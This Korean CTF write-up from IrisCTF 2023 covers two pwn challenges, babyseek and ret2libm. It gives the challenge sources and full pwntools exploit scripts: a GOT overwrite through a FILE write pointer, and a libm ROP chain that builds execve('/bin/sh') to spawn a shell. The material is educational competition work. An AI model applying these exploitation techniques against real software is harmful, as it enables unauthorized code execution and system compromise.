2023 IrisCTF) Write-up #1 (PWN/ babyseek, ret2libm)

2023. 1. 12. 18:29CTF

목차

01) PWN) babyseek , ret2libm

02) PWN) baby?socat , Michael Bank

03) Misc) Name that song 1, 2 , Host Issues

04) Foren) babyforens


2023.01.07~08

 

48시간동안 진행된 IrisCTF.

RealWorldCTF와 동시간대에 개최되어 큰 기대 없이 참가하였지만 문제 밸런스가 좋았고, 얻어갈 것이 있는 문제들도 많아 즐겁게 참여하였다.

CTF 순위는 최종 24위를 기록하였다.

 


공통) 브루트포싱 방지용 문제 자동화

 

브루트포싱 방지용 문제

문제를 풀기 위해 서버에 접근하면, 문제별로 브루트포싱 방지를 위한 문제가 추가되어있었다. 

접속시마다 curl을 통해 문제를 푸는 대신 아래 명령어를 사용하여 디렉토리에 파이썬 코드를 저장하여 해결하도록 하였다.

curl -sSL https://goo.gle/kctf-pow > pow.py

 

아래는 이를 해결하기 위한 자동화 코드이다. pwn의 모든 익스플로잇 코드에 추가하되었으나 이 글에서는 생략하였다.

Import os를 통해 os.popen 명령어로 결과값을 저장할 수 있으므로 문제를 파싱하여 저장해놓고 명령어에 붙여 해결하였다.

import os

s = remote("", )

s.recvuntil(b"solve ")
s.recvuntil(b"solve ")
quest = s.recvuntil(b"\n")[:-1]
print(quest)
result = os.popen('python3 pow.py solve '+quest.decode()).read()
print(result.encode())

s.recvuntil(b"Solution? ")
s.sendline(result.encode())

 


 

PWN) babyseek (167 pts)

babyseek

- chal.c

#include <stdlib.h>
#include <stdio.h>

void win() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {
    // This is just setup
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("Your flag is located around %p.\n", win);

    FILE* null = fopen("/dev/null", "w");
    int pos = 0;
    void* super_special = &win;

    fwrite("void", 1, 4, null);
    printf("I'm currently at %p.\n", null->_IO_write_ptr);
    printf("I'll let you write the flag into nowhere!\n");
    printf("Where should I seek into? ");
    scanf("%d", &pos);
    null->_IO_write_ptr += pos;

    fwrite(&super_special, sizeof(void*), 1, null);
    exit(0);
}

 

문제 힌트에도 적혀있듯 함수호출을 이용하여 플래그를 획득하는 문제이다.

문제에는 플래그를 출력시켜주는 win함수가 존재한다.

입력 값을 저장하는 버퍼의 포인터 IO_write_ptr 주소를 알려주고 마지막 fwrite를 통해 덮는다.

Pos 값 입력을 통해 IO_write_ptr의 주소를 마음대로 조작할 수 있으므로 해당 주소와 exitgot주소의 차이를 구해 exit_got로 조작하여 exit_got주소가 win주소(super_special)를 가리키도록 한다.

 

다음과 같은 익스플로잇 코드를 작성하였다.

 

- chal.py

#!/usr/bin/python3
# MIsutgaRU

from pwn import *
import os

s = remote("seek.chal.irisc.tf", 10004)
#s = process("./chal")

s.recvuntil(b"Your flag is located around ")
win = int(s.recvuntil(b".")[:-1], 16)
log.info(hex(win))
s.recvuntil(b"I'm currently at ")
write_ptr = int(s.recvuntil(b".")[:-1], 16)
log.info(hex(write_ptr))
pause()
offset = -(write_ptr - (win-0x1229+0x3468))
log.info(hex(offset))
s.sendline(str(offset))

s.interactive()

플래그 획득

irisctf{not_quite_fseek}

 


 

PWN) ret2libm (392 pts)

ret2libm

- chal.c

#include <math.h>
#include <stdio.h>

// gcc -fno-stack-protector -lm

int main(int argc, char* argv) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char yours[8];

    printf("Check out my pecs: %p\n", fabs);
    printf("How about yours? ");
    gets(yours);
    printf("Let's see how they stack up.");

    return 0;
}

일반적인 libc 주소가 아닌 libm 주소를 leak해주는 문제이다. libm-2.27.so파일이 함께 제공되었기 때문에 라이브러리 버전 2.27을 사용하는 우분투 18.04 도커를 이용하여 풀었다.

첫번째 풀이법은 문제서버와 동일하게 메모리가 매핑되도록하여 libm 주소로부터 libc 주소 offset을 구해서 푸는 방법이 있다. (unintended)

그러나 작년 여성해킹방어 대회 때 메모리 매핑을 간과했다가 로컬에서는 풀리지만 서버에서는 문제가 풀리지 않았던 경험이 있었기 때문에 이 방법을 신뢰하지 않았으므로 다른 방법으로 해결하였다.

 

우선 가장 먼저 떠올린 방법은 libm에 가젯이 많았으므로 가젯들을 이용하여 execve 함수를 syscall하는 것이었다.

따라서 간단할 것으로 예상하였으나 사용할 수 있는 가젯이 한정적이었기 때문에 생각처럼 쉽지는 않았다.

 

우선 syscall 가젯은 존재하였고 사용해야하는 pop 가젯들도 존재하였다.

그러나 /bin/sh 문자열의 주소를 rdi에 저장하기 위해서는 메모리에 /bin/sh를 저장해야했다.

이를 해결하기 위해 mov dword ptr 이 포함된 가젯에 주목하였다.

 

대부분 사용하기 좋아 보이는 mov dword 가젯들이 ret이 아닌 jmp로 끝났다.

그러나 jmp를 할 경우 다음 주소를 컨트롤 하기 어려움이 있었기 때문에 신뢰하지 않았고,

mov dword ptr [rdi], ecx 가젯을 두번 이용한다면 /bin/sh 문자열을 저장하고 주소를 rdi에 저장할 수 있을 것이라고 생각하였다.

rax에는 execve를 실행하기 위해 3b를 저장하고

rdi에 libm 주소 중 쓰기권한이 있고 비어있는 주소(data)를 저장한다. 그 뒤 rcx에 문자열을 저장하면

mov dword ptr [rdi], ecx를 거쳐 rcx의 4바이트가 rdi가 가르키는 주소에 저장된다. 최종적으로 rdi가 가르키는 주소에  /bin/sh가 저장되도록 하기 위해서 rdi에 

data+4주소를 저장하고 /sh\x00를 저장시킨다.

다시 rdi에 data 주소를 저장하고 /bin이 저장되도록한다.

rdx와 rsi에 null을 저장하고 syscall을 호출하면 execve("/bin/sh", null, null)이 호출된다.

 

다음과 같은 익스플로잇 코드를 작성하였다.

 

- chal.py

#!/usr/bin/python3
# MisutgaRU

from pwn import *
import os

s = remote("ret2libm.chal.irisc.tf", 10001)
#s = process("./chal")

s.recvuntil(b"pecs: ")
libmbase = int(s.recvuntil(b"\n")[:-1],16) - 0x31cf0
log.info(hex(libmbase))
data = libmbase + 0x39d170
pause()

payload = b"A"*16 # dummy
payload += p64(libmbase+0x1a3c8) # pop rax ; ret
payload += p64(0x3b)
payload += p64(libmbase+0xbc37) # pop rdi ; ret
payload += p64(data+4)
payload += p64(libmbase+0x20f82) # pop rcx ; ret
payload += b"/sh\x000000"
payload += p64(libmbase+0x43296) # mov dword ptr [rdi], ecx ; ret
payload += p64(libmbase+0xbc37) # pop rdi ; ret
payload += p64(data)
payload += p64(libmbase+0x20f82) # pop rcx ; ret
payload += b"/bin0000"
payload += p64(libmbase+0x43296) # mov dword ptr [rdi], ecx ; ret
payload += p64(libmbase+0x4c5c2) # pop rdx ; ret
payload += p64(0x00)
payload += p64(libmbase+0x289d3) # pop rsi ; ret
payload += p64(0x00)
payload += p64(libmbase+0x3f39) # syscall

s.sendline(payload)
s.interactive()

쉘 획득

irisctf{oh_its_ret2libc_anyway}

+)

문제 제작자의 라이트업을 보고 간단하고 좋은 풀이법이라고 생각되어 추가한다.

 

제작자는 add rax, rdx; jmp rax 가젯을 사용하여 문제를 해결하였다.

기존 rdx 주소에 libc의 주소가 들어있다는 점을 이용하여 해당 libc주소와 원가젯 주소 offset을 구해 pop rax를 통해 rax에 저장한다.

이를 add rax, rdx로 rax에 원가젯 주소가 저장되게 하고 jmp rax 을 통해 원가젯 주소로 점프하도록 하였다.


글이 너무 길어진 이유로 baby?socat문제와 Michael Bank문제는 다음 글에 작성한다.